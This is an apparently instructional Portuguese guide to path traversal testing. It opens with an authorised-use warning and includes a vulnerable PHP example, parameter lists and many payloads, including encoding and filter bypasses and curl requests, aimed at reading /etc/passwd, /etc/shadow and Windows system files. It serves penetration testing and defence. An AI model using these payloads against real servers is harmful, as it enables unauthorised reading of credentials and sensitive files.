⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Portão de confirmação obrigatório Antes de qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo, solicite o URL, IP, conta ou recurso exato do alvo e a confirmação de autorização por escrito e escopo permitido. Mostre o(s) comando(s) exato(s), explique seu efeito esperado e aguarde a confirmação explícita na conversa atual. Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

Teste de Travessia de Caminho de Arquivo

Propósito

Identificar e explorar vulnerabilidades de travessia de caminho de arquivo (travessia de diretório) que permitem que atacantes leiam arquivos arbitrários no servidor, potencialmente incluindo arquivos de configuração sensíveis, credenciais e código-fonte. Essa vulnerabilidade ocorre quando a entrada controlável pelo usuário é passada para APIs do sistema de arquivos sem validação adequada.

Pré-requisitos

Ferramentas Necessárias

• Navegador web com ferramentas de desenvolvedor
• Burp Suite ou OWASP ZAP
• cURL para testar payloads
• Wordlists para automação
• ffuf ou wfuzz para fuzzing

Conhecimento Necessário

• Estrutura de requisição/resposta HTTP
• Layout do sistema de arquivos Linux e Windows
• Arquitetura de aplicações web
• Compreensão básica de APIs de arquivo

Saídas e Entregáveis

1. Relatório de Vulnerabilidade - Pontos de travessia identificados e severidade
2. Prova de Exploração - Conteúdo de arquivo extraído
3. Avaliação de Impacto - Arquivos acessíveis e exposição de dados
4. Orientação de Remediação - Recomendações de codificação segura

Fluxo de Trabalho Principal

Fase 1: Entendendo a Travessia de Caminho

A travessia de caminho ocorre quando aplicações usam a entrada do usuário para construir caminhos de arquivo:

// Vulnerable PHP code example
$template = "blue.php";
if (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {
    $template = $_COOKIE['template'];
}
include("/home/user/templates/" . $template);

Princípio de ataque:

• A sequência ../ move para um diretório acima
• Encadear múltiplas sequências para alcançar a raiz
• Acessar arquivos fora do diretório pretendido

Impacto:

• Confidencialidade - Ler arquivos sensíveis
• Integridade - Escrever/modificar arquivos (em alguns casos)
• Disponibilidade - Excluir arquivos (em alguns casos)
• Execução de Código - Se combinado com upload de arquivo ou envenenamento de log

Fase 2: Identificando Pontos de Travessia

Mapear a aplicação para operações de arquivo potenciais:

# Parameters that often handle files
?file=
?path=
?page=
?template=
?filename=
?doc=
?document=
?folder=
?dir=
?include=
?src=
?source=
?content=
?view=
?download=
?load=
?read=
?retrieve=

Funcionalidades vulneráveis comuns:

• Carregamento de imagens: /image?filename=23.jpg
• Seleção de template: ?template=blue.php
• Downloads de arquivo: /download?file=report.pdf
• Visualizadores de documentos: /view?doc=manual.pdf
• Mecanismos de inclusão: ?page=about

Fase 3: Técnicas Básicas de Exploração

Travessia de Caminho Simples

# Basic Linux traversal
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd

# Windows traversal
..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts

# URL encoded
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding

# Test payloads with curl
curl "http://target.com/image?filename=../../../etc/passwd"
curl "http://target.com/download?file=....//....//....//etc/passwd"

Injeção de Caminho Absoluto

# Direct absolute path (Linux)
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ

# Direct absolute path (Windows)
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\boot.ini

Fase 4: Técnicas de Bypass

Bypass de Sequências de Travessia Removidas

# When ../ is stripped once
....//....//....//etc/passwd
....\/....\/....\/etc/passwd

# Nested traversal
..././..././..././etc/passwd
....//....//etc/passwd

# Mixed encoding
..%2f..%2f..%2fetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

Bypass de Validação de Extensão

# Null byte injection (older PHP versions)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Path truncation
../../../etc/passwd...............................

# Double extension
../../../etc/passwd.jpg.php

…